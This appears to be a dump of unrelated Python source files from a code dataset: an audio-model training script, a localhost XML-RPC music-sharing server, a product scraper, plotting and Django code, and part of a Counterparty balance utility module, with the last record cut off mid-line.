torch.autograd.grad(new_energy.sum(), new_z)[0]\n alpha = torch.rand(batch_size, device='cuda').float()\n accept = (alpha < torch.exp((energy - new_energy) / temperature)).long()\n z = z * (1-accept.unsqueeze(1)) + new_z * accept.unsqueeze(1)\n energy = energy * (1-accept) + new_energy * accept\n grad = grad * (1-accept.unsqueeze(1)) + new_grad * accept.unsqueeze(1)\n grad_ema.apply(grad)\n if _iter % 100 == 0:\n print(_iter, (energy-old_energy).mean().detach().cpu().numpy(), accept.float().mean().detach().cpu().numpy())\n\npickle.dump([obj_code, z, contact_point_indices], open(fn[:-4] + '_optim.pkl', 'wb'))\n\n\n","sub_path":"ForceClosure/tbl_simulation_optimize.py","file_name":"tbl_simulation_optimize.py","file_ext":"py","file_size_in_byte":3925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"362132453","text":"from matplotlib import *\nfrom matplotlib.pyplot import *\nfrom numpy import *\nimport matplotlib.patches as patches\n\n\ndistance = [0,20,40,60,80,100,120,140,160,180]\nspeeds_nothing = [22,24,21,23,22,23,21,22,21,22]\nspeeds_trees_4 = [24,21,20,15,12,17,21,22,21,20]\nspeeds_trees_7 = [21,24,18,19,20,18,24,22,23,25]\nspeeds_trees_10 =[23,25,20,21,22,22,22,22,24,22]\n\n\n\nfig = figure()\nax = fig.add_subplot(111)\nax.plot(distance, speeds_nothing, 'ko-')\nax.plot(distance, speeds_trees_4, 'kx-')\nax.plot(distance, speeds_trees_7, 'ks-')\nax.plot(distance, speeds_trees_10, 'k^-')\npoly1 = patches.Rectangle([20,0],60,100,fc='0.8',alpha=0.5)\npoly2 = patches.Rectangle([80,0],20,100,fc='0.6',alpha=0.5)\npoly3 = patches.Rectangle([100,0],60,100,fc='0.8',alpha=0.5)\nplot([20,20],[0,100],'k--')\nplot([80,80],[0,100],'k--')\nplot([100,100],[0,100],'k--')\nplot([160,160],[0,100],'k--')\n\n\nax.add_patch(poly1)\nax.add_patch(poly2)\nax.add_patch(poly3)\n\nxlabel('$x_{v0}$ (m)',fontsize = 16)\nylabel('Maximum Safe Speed (m/s)', fontsize = 16)\nlegend(['$y_{sb} = \\infty$','$y_{sb} = 4m$','$y_{sb} = 7m$','$y_{sb} = 10m$'], fontsize =14)\nylim(10,28)\n\nsavefig('MPC_MaxSpeeds',dpi=600)\n\nshow()\n","sub_path":"plot_speeds.py","file_name":"plot_speeds.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"625748533","text":"from re import sub\nfrom dotenv import load_dotenv\nimport argparse\nimport multiprocessing\nfrom torch.utils.data.dataloader import DataLoader\nimport torchinfo\n\nimport pytorch_lightning as pl\nfrom pytorch_lightning.callbacks.early_stopping import EarlyStopping\nfrom pytorch_lightning.callbacks.model_checkpoint import ModelCheckpoint\nfrom pytorch_lightning.loggers.wandb import WandbLogger\nimport torch.cuda\n\nfrom model import C1DConvCat as Model\nfrom kfold import CrossValidator\nfrom data import ModelDataset\n\nload_dotenv(verbose=True)\n\n\ndef make_datasets(args):\n data_folder = args['data_folder']\n train_meta = args['train_meta']\n validation_meta = args['validation_meta']\n test_meta = args['test_meta']\n temp_folder = args['temp_folder']\n force_compute = args['force_compute']\n\n sr = args['sr']\n duration = args['duration']\n overlap = args['overlap']\n ext = args['ext']\n\n train_ds = ModelDataset(train_meta, data_folder, temp_folder=temp_folder, chunk_duration=duration,\n overlap=overlap, force_compute=force_compute, sr=sr, audio_extension=ext)\n test_ds = ModelDataset(test_meta, data_folder, temp_folder=temp_folder, chunk_duration=duration,\n overlap=overlap, force_compute=force_compute, sr=sr, audio_extension=ext)\n validation_ds = None\n if not validation_meta is None:\n validation_ds = ModelDataset(train_meta, data_folder, temp_folder=temp_folder, chunk_duration=duration,\n overlap=overlap, force_compute=force_compute, sr=sr, audio_extension=ext)\n return (train_ds, test_ds, validation_ds)\n\n\ndef make_model(args, train_ds, test_ds, validation_ds=None):\n batch_size = args['batch_size']\n num_workers = args['num_workers']\n\n\n args_k = [Model.LR, Model.N_FFT, Model.N_MELS, Model.N_MFCC, Model.SPEC_TRAINABLE, Model.ADAPTIVE_LAYER_UNITS]\n model_config = {k: args[k] for k in args_k}\n model = Model(batch_size=batch_size, num_workers=num_workers, train_ds=train_ds, val_ds=validation_ds, test_ds=test_ds, **model_config)\n return (model, model_config)\n\n\ndef get_gpu_count():\n if torch.cuda.is_available():\n return -1\n return None\n\n\ndef get_num_workers():\n return multiprocessing.cpu_count()\n\n\ndef get_wandb_tags(args):\n return [\n 'model:C1DConvCat',\n 'dataset:{}'.format(args['dataset']),\n 'version:1'\n ]\n\n\ndef train_kfold(args):\n (train_ds, test_ds, _) = make_datasets(args)\n (model, model_config) = make_model(args, None, None)\n\n config = {\n **model_config\n }\n\n cv = CrossValidator(\n n_splits=args['kfold_k'],\n stratify=args['stratify'],\n batch_size=args['batch_size'],\n num_workers=args['num_workers'],\n wandb_project_name=\"mer\",\n model_monitor=Model.MODEL_CHECKPOINT,\n model_monitor_mode=Model.MODEL_CHECKPOINT_MODE,\n early_stop_monitor=Model.EARLY_STOPPING,\n early_stop_mode=Model.EARLY_STOPPING_MODE,\n use_wandb=(not args['no_wandb']),\n cv_dry_run=False,\n wandb_tags=get_wandb_tags(args),\n config=config,\n gpus=get_gpu_count()\n )\n\n cv.fit(model, train_ds, test_ds)\n\ndef check(args):\n\n if not args['only_shape']:\n\n (train_ds, test_ds, validation_ds) = make_datasets(args)\n (model, model_config) = make_model(args, train_ds, test_ds, validation_ds)\n\n for ds in [train_ds, test_ds, validation_ds]:\n if ds is None:\n continue\n\n dl = DataLoader(ds, batch_size=2, num_workers=2, drop_last=True)\n\n for (X, _) in dl:\n model(X)\n break\n\n print(\"Model: foward passes ok!\")\n\n else:\n (model, model_config) = make_model(args, None, None, None)\n\n print(torchinfo.summary(model, input_size=(2, 1, 22050*5)))\n\ndef train(args):\n\n\n if args['check']:\n check(args)\n return\n\n if args['kfold']:\n train_kfold(args)\n return\n\n (train_ds, test_ds, validation_ds) = make_datasets(args)\n (model, model_config) = make_model(args, train_ds, test_ds, validation_ds)\n\n config={\n **model_config\n }\n\n model_callback = ModelCheckpoint(monitor=Model.MODEL_CHECKPOINT, mode=Model.MODEL_CHECKPOINT_MODE)\n early_stop_callback = EarlyStopping(\n monitor=Model.EARLY_STOPPING,\n min_delta=0.00,\n patience=10,\n verbose=True,\n mode=Model.EARLY_STOPPING_MODE\n )\n\n logger = None\n if not args['no_wandb']:\n logger = WandbLogger(\n offline=False,\n log_model=True,\n project='mer',\n job_type=\"train\",\n config=config,\n tags=get_wandb_tags(args)\n )\n\n trainer = pl.Trainer(\n logger=logger,\n gpus=get_gpu_count(),\n callbacks=[model_callback, early_stop_callback])\n\n trainer.fit(model)\n\n trainer.test(model)\n\n\ndef main(in_args=None):\n parser = argparse.ArgumentParser(prog=\"Model\")\n\n subparsers = parser.add_subparsers(help='sub programs')\n subparser_train = subparsers.add_parser('train', help='train the model')\n subparser_train.set_defaults(func=train)\n subparser_train.add_argument(\n '--num-workers', type=int, default=get_num_workers())\n subparser_train.add_argument(\n '--no-wandb', action='store_true', default=False)\n subparser_train.add_argument('--kfold', action='store_true', default=False)\n subparser_train.add_argument('--kfold-k', type=int, default=5)\n subparser_train.add_argument('--stratify', action='store_true', default=False)\n\n model_args = subparser_train.add_argument_group('Model Arguments')\n model_args.add_argument('--check', action='store_true', default=False)\n model_args.add_argument('--only-shape', action='store_true', default=False)\n model_args.add_argument('--lr', '--learning-rate',\n type=float, default=0.01)\n model_args.add_argument('--batch-size', type=int, default=32)\n model_args.add_argument('--adaptive-layer-units', type=int, default=128)\n model_args.add_argument('--n-fft', type=int, default=2048)\n model_args.add_argument('--n-mels', type=int, default=128)\n model_args.add_argument('--n-mfcc', type=int, default=20)\n model_args.add_argument(\n '--spec-trainable', action='store_true', default=False)\n\n data_args = subparser_train.add_argument_group('Dataset Arguments')\n data_args.add_argument('--dataset', type=str, required=True)\n data_args.add_argument('--data-folder', type=str, required=True)\n data_args.add_argument('--train-meta', type=str, required=True)\n data_args.add_argument('--validation-meta', type=str,\n required=False, default=None)\n data_args.add_argument('--test-meta', type=str, required=True)\n data_args.add_argument('--temp-folder', type=str, required=True)\n data_args.add_argument(\n '--force-compute', action='store_true', default=False)\n\n audio_args = subparser_train.add_argument_group('Audio Arguments')\n audio_args.add_argument('--sr', '--sample-rate', type=int, default=22050)\n audio_args.add_argument('--duration', type=float, default=5)\n audio_args.add_argument('--overlap', type=float, default=2.5)\n audio_args.add_argument('--ext', '--extention', type=str, default='mp3')\n\n args = parser.parse_args(in_args)\n args.func(vars(args))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"model_pkgs/1dconv/cat/c_1dconv_cat/c_1dconv_cat.py","file_name":"c_1dconv_cat.py","file_ext":"py","file_size_in_byte":7438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"241938039","text":"import os\nimport threading\nimport json\nimport xmlrpc.client\nfrom xmlrpc.server import SimpleXMLRPCServer\nfrom xmlrpc.server import SimpleXMLRPCRequestHandler\n\nfrom tinytag import TinyTag, TinyTagException\n## Python 3.7\n## Servidor Principal: \n# Los clientes se conectan en primera instancia con este servidor,\n# si el servidor Principal tiene una excepcion o falla, el cliente se conecta al servidor Secundario\n\n# ----------------------------------- CONFIGURACION DE SERVIDOR -----------------------------------------\n# ---------------------------- CONFIGURACION PARTE CLIENTE DEL SERVIDOR-------------------------------------\n\n# Direcciones para cada cliente\n# CLiente1\nhost1 = \"127.0.0.1\"\nport1 = 9999\n# Cliente2\nhost2 = \"127.0.0.1\"\nport2 = 9998\n# CLiente3\nhost3 = \"127.0.0.1\"\nport3 = 9997\n\nportTest = 2869\n\n# Restrict to a particular path.\nclass RequestHandler(SimpleXMLRPCRequestHandler):\n rpc_paths = ('/RPC2',)\n\n# Conexion para clientes\nserver1 = SimpleXMLRPCServer((host1, port1), requestHandler=RequestHandler, allow_none=True) \nserver1.register_introspection_functions()\nserver2 = SimpleXMLRPCServer((host2, port2), requestHandler=RequestHandler, allow_none=True) \nserver2.register_introspection_functions()\n\n# Variables globales\nlsTotalDataCli = []\nlsTotalTracks = []\n\nprint(\"\\n**************************************************NAPSTER RPC************************************************************\") \nprint(\"\\nServidor NAPSTER Principal escuchando...\")\n\n\ndef connectionExist(clientConnected):\n\n print(\"Cliente conectado: \", clientConnected)\n \n return 0\n\n\ndef listenClientData(json_username, json_host, json_port):\n # Datos del cliente\n print(\"\\n_____________________________________________________________________________________________________________________________________________________\\n\")\n print(\"\\nCargando datos de cliente...\")\n print(\".....\")\n # Recibimos la informacion de los clientes\n username = json.loads(json_username)\n host = json.loads(json_host)\n port = json.loads(json_port)\n\n global user\n user = username\n h = host\n p = port\n lsDataClient = [user, h, p]\n\n global lsTotalDataCli\n lsTotalDataCli.append(lsDataClient)\n\n print(\"DATOS DEL CLIENTE: \", lsDataClient)\n\n\ndef listenClientSong(json_lsTracks, json_numTrack):\n\n lsTracks = json.loads(json_lsTracks)\n numTrack = json.loads(json_numTrack)\n\n global lsTotalTracks\n lsTotalTracks+=lsTracks\n \n print(\"\\nLISTA METADATOS DE CANCIONES: \", lsTracks) \n print(\"\\nNUMERO DE CANCIONES: \", numTrack)\n \n\ndef listenClientAlbum(json_lsAlbums, json_numAlbum, json_lsTracksAlbums, json_numTrackAlbum):\n\n lsAlbums = json.loads(json_lsAlbums)\n numAlbum = json.loads(json_numAlbum) \n lsTracksAlbums = json.loads(json_lsTracksAlbums)\n numTrackAlbum = json.loads(json_numTrackAlbum)\n\n global lsTotalTracks\n lsTotalTracks+=lsTracksAlbums\n\n print(\"\\nLISTA DE ALBUMS: \", lsAlbums)\n print(\"\\nNUMERO DE ALBUMS: \", numAlbum) \n print(\"\\nLISTA METADATOS DE CANCIONES EN ALBUMS: \", lsTracksAlbums) \n print(\"\\nNUMERO DE CANCIONES EN ALBUMS: \", numTrackAlbum) \n\n print(\"\\nDatos del cliente \" + user +\" cargados con exito!\")\n print(\"\\n_____________________________________________________________________________________________________________________________________________________\\n\")\n\n print(\"\\nLISTA TOTAL DE CLIENTES EXISTENTES EN EL SERVIDOR: \", lsTotalDataCli)\n print(\"\\nNUMERO DE CLIENTES EXISTENTES EN EL SERVIDOR: \", len(lsTotalDataCli))\n\n print(\"\\nLISTA TOTAL DE CANCIONES EXISTENTES EN EL SERVIDOR: \", lsTotalTracks)\n print(\"\\nNUMERO DE CANCIONES EXISTENTES EN EL SERVIDOR: \", len(lsTotalTracks))\n \n\n# Funcion para buscar una cancion alojada en el servidor\ndef searchTrack(json_search, json_op):\n\n search = json.loads(json_search)\n op = json.loads(json_op)\n\n newSong = []\n lsNewSong = []\n lsNewDir = []\n # Recorre la lista lsTotalTracks e itera cada cancion en track\n for track in lsTotalTracks:\n # Se busca la cancion por los dos primeros posiciones de la lista\n # nombre del archivo y titulo del archivo\n if track[0] == search or track[op] == search:\n newSong = [track[0], track[1], track[2], track[3], track[4], track[5], track[6]]\n # Si la cancion se encuentra gardamos todos sus datos en una lista y guardamos en una lista de listas\n lsNewSong.append(newSong)\n # Ahora comparamos los usuarios para conocer su puerto y direccion\n for usern in lsTotalDataCli:\n if usern[0] == newSong[6]:\n # Guardamos en una lista de listas\n lsNewDir.append(usern)\n if op == 1:\n message = \"Cancion encontrada!\" \n print(\"\\n\" + message)\n elif op == 2:\n message = \"Artista encontrado!\" \n print(\"\\n\" + message)\n else: \n message = \"Album encontrado!\" \n print(\"\\n\" + message)\n # Si la lista esta vacia no encontro ninguna cancion \n if len(lsNewSong) == 0 and op == 1:\n message = \"Nombre incorrecto. La cancion no se encuentra!\"\n print(\"\\n\" + message)\n elif len(lsNewSong) == 0 and op == 2:\n message = \"Nombre incorrecto. El artista no se encuentra!\"\n print(\"\\n\" + message) \n elif len(lsNewSong) == 0 and op == 3: \n message = \"Nombre incorrecto. El album no se encuentra!\"\n print(\"\\n\" + message) \n\n print(lsNewSong)\n\n json_lsNewSong = json.dumps(lsNewSong)\n json_newDir = json.dumps(lsNewDir) \n json_message = json.dumps(message)\n\n return json_lsNewSong, json_newDir, json_message\n\n# ------------------------------------PROGRAMA PRINCIPAL E HILOS SERVIDOR----------------------------------------\n \n# Hilo Responsable de recibir infomacion de los clientes\nclass ServerThread(threading.Thread):\n\tdef _init_(self):\n\t\tthreading.Thread._init_(self)\n\n\tdef run(self):\n # Ejecutando funciones de servidor \n server1.register_function(connectionExist) \n server1.register_function(listenClientData)\n server1.register_function(listenClientSong)\n server1.register_function(listenClientAlbum)\n\n server1.register_function(searchTrack) \n server1.serve_forever()\n \n# Hilo Responsable del buscador de musica y enviar datos de musica encontrada\nclass ServerThread2(threading.Thread):\n\tdef _init_(self):\n\t\tthreading.Thread._init_(self)\n\n\tdef run(self): \n server2.register_function(connectionExist) \n server2.register_function(listenClientData)\n server2.register_function(listenClientSong)\n server2.register_function(listenClientAlbum)\n print(\"Servidor Conectado...\")\n\n server2.register_function(searchTrack)\n print(\"Esperando Peticion del cliente...\")\n server2.serve_forever()\n \n\nif __name__==\"__main__\":\n\n serverReceive1 = ServerThread()\n serverReceive1.start() \n serverReceive2 = ServerThread2()\n serverReceive2.start() \n\n\n","sub_path":"server1.py","file_name":"server1.py","file_ext":"py","file_size_in_byte":7177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"626467182","text":"# 商品接口: https://www.xiaohongshu.com/api/store/ps/products/v2?keyword=%E6%89%8B%E6%9C%BA&filters=&page=20&size=20&sort=&source=store_feed\nimport requests\nimport json\nimport time \nimport random\nimport re \nfrom lxml import etree \nfrom fake_useragent import UserAgent\nfrom db import *\n\nua = UserAgent()\nheaders = {'User-Agent': ua.random}\nredis = ReidsClient()\nproxies = redis.random()\n# print(proxies)\nurl = 'https://www.xiaohongshu.com/api/store/ps/products/v2?keyword={}&filters=&page={}&size=1000&sort=&source=store_feed'\n\n\ndef get_products_list():\n\tproducts_list = []\n\tproducts_url = 'https://www.jd.com/allSort.aspx'\n\trsp = requests.get(products_url, headers=headers)\n\tprint(rsp)\n\tdoc = etree.HTML(rsp.text)\n\titemss = doc.xpath('//dl[@class=\"clearfix\"]')\n\tfor items in itemss:\n\t\titem = items.xpath('dd/a/text()')\n\t\tfor i in item:\n\t\t\tproducts_list.append(i)\n\t# print(products_list)\n\t# print(len(products_list))\n\treturn products_list\n\n\ndef start_requests(i=1):\n\t# print('请输入商品名称:')\n\t# keyword = '笔记本'\n\tproducts = get_products_list()\n\t# print(products)\n\tprint(products[3:10])\n\tfor keyword in products[3:10]:\n\t\tprint(keyword)\n\t\trsp = requests.get(url.format(keyword, str(1)), headers=headers)\n\t\tprint(rsp)\n\t\tif rsp.status_code == 200 and rsp.text is not None:\n\t\t\ttext = json.loads(rsp.text)\n\t\t\tif len(text.get('data').get('items')):\n\t\t\t\treturn\tparse(text)\n\t\telse:\n\t\t\ttime.sleep(random.randint(2, 6) + random.random() * 5)\n\t\t\ti += 1\n\t\t\tif i < 4:\n\t\t\t\tprint('第%s次请求%s' % (i, url))\n\t\t\t\tstart_requests(i=i)\n\t\t\telse:\n\t\t\t\tpass\n\n\ndef parse(text):\n\titems = text.get('data').get('items')\n\tsellers = []\n\tif items is not None:\n\t\tfor item in items:\n\t\t\tif {item.get('vendor_name'):item.get('seller_id')} not in sellers:\n\t\t\t\tsellers.append({item.get('vendor_name'):item.get('seller_id')})\n\t\tif sellers is not None:\n\t\t\tprint(sellers)\n\t\t\treturn sellers\n\n\ndef parse_store_products(sellers):\n\tstore_url = 'https://www.xiaohongshu.com/api/store/vs/{store_id}/items/v2?page={page}'\n\tfor seller in sellers[:1]:\n\t\tfor seller_name, seller_id in seller.items():\n\t\t\trequests_store(store_url, seller_name, seller_id, i=1)\n\n\ndef requests_store(store_url, seller_name, seller_id, i=1):\n\tprint('正在爬取店铺:', seller_name)\n\tfor page in range(1, 2):\n\t\tprint('正在爬取店铺:', seller_name, '第', page, '页')\n\t# try:\n\t\trsp = requests.get(store_url.format(store_id=seller_id, page=str(page)), headers=headers, proxies=proxies)\n\t\tif rsp.status_code == 200:\n\t\t\tif len(rsp.text) < 200:\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tparse_page(rsp.text)\n\t\telse:\n\t\t\tprint('请求第二次', seller_name, store_url)\n\t\t\ttime.sleep(random.randint(2, 6) + random.random() * 5)\n\t\t\trsp = requests.get(store_url.format(store_id=seller_id, page=str(page)), headers=headers, proxies=proxies)\n\t\t\tif rsp.status_code == 200:\n\t\t\t\tif len(rsp.text) < 200:\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tparse_page(rsp.text)\n\t\t\telse:\n\t\t\t\tprint('请求第三次', seller_name, store_url)\n\t\t\t\ttime.sleep(random.randint(2, 6) + random.random() * 5)\n\t\t\t\trsp = requests.get(store_url.format(store_id=seller_id, page=str(page)), headers=headers, proxies=proxies)\n\t\t\t\tif rsp.status_code == 200:\n\t\t\t\t\tif len(rsp.text) < 200:\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tparse_page(rsp.text)\n\t\t\t\telse:\n\t\t\t\t\tprint('请求失败', seller_name)\n\t# except:\n\t# \tprint('请求失败', seller_name, store_url)\n\n\ndef parse_page(text):\n\titems = json.loads(text)\n\tif items.get('success') and items.get('data'):\n\t\tfor item in items.get('data'):\n\t\t\tdata = {}\n\t\t\tdata['id'] = item.get('id')\n\t\t\t# data['category'] = keyword\n\t\t\tdata['seller_id'] = item.get('seller_id')\n\t\t\tdata['title'] = item.get('title') \n\t\t\tdata['desc'] = item.get('desc') \n\t\t\tdata['price'] = item.get('price')\n\t\t\tdata['discount_price'] = item.get('discount_price')\n\t\t\tdata['stock_status'] = item.get('stock_status') \n\t\t\ttry:\n\t\t\t\tdata['link'] = item.get('link')[item['link'].index('www'):]\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\tdata['promotion_text'] = item.get('promotion_text')\n\t\t\tdata['vendor_icon'] = item.get('vendor_icon')\n\t\t\tdata['vendor_name'] = item.get('vendor_name') \n\t\t\tdata['vnedor_link'] = item.get('vnedor_link') \n\t\t\tdata['buyable'] = item.get('buyable')\n\t\t\tdata['new_arriving'] = item.get('new_arriving') \n\t\t\tdata['feature'] = item.get('feature')\n\t\t\tdata['time'] = item.get('time')\n\t\t\tdata['tax_included'] = item.get('tax_included')\n\t\t\ttry:\n\t\t\t\tdata['origin_price'] = item.get('item_price').get(1).get('price')\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\ttry:\n\t\t\t\tdata['sale_price'] = item.get('item_price').get(0).get('price')\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\tdata['tags'] = item.get('tags')\n\t\t\tdata['height'] = item.get('height')\n\t\t\tdata['width'] = item.get('width') \n\t\t\tdata['stock_shortage'] = item.get('stock_shortage')\n\t\t\t# print(data)\n\t\t\t# save_data(data)\n\t\ttime.sleep(random.randint(3, 6) + random.random() * 10)\n\telse:\n\t\tpass\n\n\nif __name__ == '__main__':\n\tsellers = start_requests()\n\tparse_store_products(sellers)\n\n\n\n\n\n","sub_path":"xiaohongshu.py","file_name":"xiaohongshu.py","file_ext":"py","file_size_in_byte":4886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"439790112","text":"from django.shortcuts import render\nfrom states.models import ActivityLevel, Week\n\n\ndef index(request):\n latest_week = Week.objects.all().order_by(\"-end_date\")[0]\n object_list = ActivityLevel.objects.filter(week=latest_week)\n context = {\n 'object_list': object_list,\n 'week': latest_week,\n }\n return render(request, 'index.html', context)\n","sub_path":"flu_map/states/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"174062142","text":"import sqlite3\nimport time\nfrom datetime import datetime\nfrom dateutil.tz import tzlocal\nimport decimal\nD = decimal.Decimal\n\nfrom . import (config, exceptions, bitcoin)\n\nb26_digits = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n\n# Obsolete in Python 3.4, with enum module.\nBET_TYPE_NAME = {0: 'BullCFD', 1: 'BearCFD', 2: 'Equal', 3: 'NotEqual'}\nBET_TYPE_ID = {'BullCFD': 0, 'BearCFD': 1, 'Equal': 2, 'NotEqual': 3}\n\ndef bitcoind_check (db):\n # Check blocktime of last block to see if Bitcoind is running behind.\n block_count = bitcoin.rpc('getblockcount', [])['result']\n block_hash = bitcoin.rpc('getblockhash', [block_count])['result']\n block = bitcoin.rpc('getblock', [block_hash])['result']\n if block['time'] < (time.time() - 60 * 60 * 2):\n raise exceptions.BitcoindError('Bitcoind is running behind.')\n\ndef database_check (db):\n # Check Counterparty database to see if the counterpartyd server has caught up with Bitcoind.\n cursor = db.cursor()\n try:\n cursor.execute('''SELECT * FROM blocks ORDER BY block_index ASC''')\n except sqlite3.OperationalError:\n raise exceptions.DatabaseError('Counterparty database does not exist. Run server command.')\n block_list = cursor.fetchall()\n assert block_list\n last_block = block_list[-1]\n if last_block['block_index'] != bitcoin.rpc('getblockcount', [])['result']:\n raise exceptions.DatabaseError('Countparty database is behind Bitcoind.')\n cursor.close()\n return\n\ndef short (string):\n if len(string) == 64: length = 8\n elif len(string) == 128: length = 16\n short = string[:length] + '…' + string[-length:]\n return short\n\ndef isodt (epoch_time):\n return datetime.fromtimestamp(epoch_time, tzlocal()).isoformat()\n\ndef get_time_left (unmatched, block_index=None):\n \"\"\"order or bet\"\"\"\n \"\"\"zero time left means it expires *this* block; that is, expire when strictly less than 0\"\"\"\n if not block_index: block_index = bitcoin.rpc('getblockcount', [])['result']\n return unmatched['block_index'] + unmatched['expiration'] - block_index\ndef get_order_match_time_left (matched, block_index=None):\n \"\"\"order_match or bet_match\"\"\"\n if not block_index: block_index = bitcoin.rpc('getblockcount', [])['result']\n tx0_time_left = matched['tx0_block_index'] + matched['tx0_expiration'] - block_index\n tx1_time_left = matched['tx1_block_index'] + matched['tx1_expiration'] - block_index\n return min(tx0_time_left, tx1_time_left)\n\ndef valid_asset_name (asset_name):\n if asset_name in ('BTC', 'XCP'): return True\n if len(asset_name) < 4: return False\n for c in asset_name:\n if c not in b26_digits:\n return False\n return True\n\ndef get_asset_id (asset):\n if not valid_asset_name(asset): raise exceptions.AssetError('Invalid asset name.')\n if asset == 'BTC': return 0\n elif asset == 'XCP': return 1\n\n # Convert the Base 26 string to an integer.\n n = 0\n s = asset\n for c in s:\n n *= 26\n if c not in b26_digits:\n raise exceptions.InvalidBase26Error('Not an uppercase ASCII character:', c)\n digit = b26_digits.index(c)\n n += digit\n\n # Minimum of four letters long.\n if not n > 26**3:\n raise exceptions.AssetError('Invalid asset name.')\n return n\n\ndef get_asset_name (asset_id):\n if asset_id == 0: return 'BTC'\n elif asset_id == 1: return 'XCP'\n\n # Minimum of four letters long.\n if not asset_id > 26**3:\n raise exceptions.AssetError('Invalid asset name.')\n # Divide that integer into Base 26 string.\n res = []\n n = asset_id\n while n > 0:\n n, r = divmod (n, 26)\n res.append(b26_digits[r])\n asset = ''.join(res[::-1])\n if not valid_asset_name(asset): raise exceptions.AssetError('Invalid asset name.')\n return asset\n\n\ndef debit (db, address, asset, amount):\n debit_cursor = db.cursor()\n assert asset != 'BTC' # Never BTC.\n assert type(amount) == int\n if asset == 'BTC':\n raise exceptions.BalanceError('Cannot debit bitcoins from a Counterparty address!')\n\n balances = get_balances(db, address=address, asset=asset)\n if not len(balances) == 1:\n old_balance = 0\n else:\n old_balance = balances[0]['amount']\n assert type(old_balance) == int\n\n if old_balance >= amount:\n debit_cursor.execute('''UPDATE balances \\\n SET amount=? \\\n WHERE (address=? and asset=?)''',\n (round(old_balance - amount), address, asset)) \n validity = 'Valid'\n else:\n validity = 'Invalid: insufficient funds'\n\n # Record debit.\n debit_cursor.execute('''INSERT INTO debits(\n address,\n asset,\n amount) VALUES(?,?,?)''',\n (address,\n asset,\n amount)\n )\n debit_cursor.close()\n return validity\n\ndef credit (db, address, asset, amount):\n credit_cursor = db.cursor()\n assert asset != 'BTC' # Never BTC.\n assert type(amount) == int\n\n balances = get_balances(db, address=address, asset=asset)\n if len(balances) != 1:\n assert balances == []\n credit_cursor.execute('''INSERT INTO balances(\n address,\n asset,\n amount) VALUES(?,?,?)''',\n (address,\n asset,\n amount)\n )\n else:\n old_balance = balances[0]['amount']\n assert type(old_balance) == int\n credit_cursor.execute('''UPDATE balances SET amount=? \\\n WHERE (address=? and asset=?)''',\n (old_balance + amount, address, asset)) \n\n # Record credit.\n credit_cursor.execute('''INSERT INTO credits(\n address,\n asset,\n amount) VALUES(?,?,?)''',\n (address,\n asset,\n amount)\n )\n credit_cursor.close()\n\ndef devise (db, quantity, asset, dest, divisible=None):\n FOUR = D(10) ** -4\n EIGHT = D(10) ** -8\n\n quantity = D(quantity)\n\n if asset in ('leverage', 'price', 'odds', 'value'):\n if dest == 'output':\n return quantity.quantize(FOUR)\n elif dest == 'input':\n # Hackish\n if asset == 'leverage':\n return round(quantity)\n else:\n return float(quantity)\n\n if asset in ('fee_multiplier',):\n return D(quantity / D(1e8)).quantize(FOUR)\n\n if divisible == None:\n issuances = get_issuances(db, validity='Valid', asset=asset)\n if not issuances: raise exceptions.AssetError('No such asset.')\n divisible = issuances[0]['divisible']\n\n if divisible:\n if dest == 'output':\n quantity = D(quantity / config.UNIT).quantize(EIGHT)\n if quantity == quantity.to_integral():\n return str(float(quantity)) # For divisible assets, display the decimal point.\n else:\n return str(quantity.quantize(EIGHT).normalize())\n elif dest == 'input':\n quantity = D(quantity * config.UNIT).quantize(EIGHT)\n if quantity == quantity.to_integral():\n return int(quantity)\n else:\n raise exceptions.QuantityError('Divisible assets have only eight decimal places of precision.')\n else:\n return quantity.quantize(EIGHT)\n else:\n if quantity != round(quantity):\n raise exceptions.QuantityError('Fractional quantities of indivisible assets.')\n return round(quantity)\n\ndef get_debits (db, address=None, asset=None):\n \"\"\"This does not include BTC.\"\"\"\n cursor = db.cursor()\n cursor.execute('''SELECT * FROM debits''')\n debits = []\n for debit in cursor.fetchall():\n if address and debit['address'] != address: continue\n if asset != None and debit['asset'] != asset: continue\n debits.append(dict(debit))\n cursor.close()\n return debits\n\ndef get_credits (db, address=None, asset=None):\n \"\"\"This does not include BTC.\"\"\"\n cursor = db.cursor()\n cursor.execute('''SELECT * FROM credits''')\n credits = []\n for credit in cursor.fetchall():\n if address and credit['address'] != address: continue\n if asset != None and credit['asset'] != asset: continue\n credits.append(dict(credit))\n cursor.close()\n return credits\n\ndef get_balances (db, address=None, asset=None):\n \"\"\"This should never be used to check Bitcoin balances.\"\"\"\n cursor = db.cursor()\n cursor.execute('''SELECT * FROM balances''')\n balances = []\n for balance in cursor.fetchall():\n if address and balance['address'] != address: continue\n if asset != None and balance['asset'] != asset: continue\n if asset == 'BTC': raise Exception\n balances.append(dict(balance))\n cursor.close()\n return balances\n\ndef get_sends (db, validity=None, source=None, destination=None):\n cursor = db.cursor()\n cursor.execute('''SELECT * FROM sends ORDER BY tx_index''')\n sends = []\n for send in cursor.fetchall():\n if validity and send['Validity'] != validity: continue\n if source and send['source'] != source: continue\n if destination and send['destination'] != destination: continue\n sends.append(dict(send))\n cursor.close()\n return sends\n\ndef get_orders (db, validity=None, address=None, show_empty=True, show_expired=True):\n cursor = db.cursor()\n cursor.execute('''SELECT * FROM orders ORDER BY price ASC, tx_index''')\n block_count = bitcoin.rpc('getblockcount', [])['result']\n orders = []\n for order in cursor.fetchall():\n if validity and order['Validity'] != 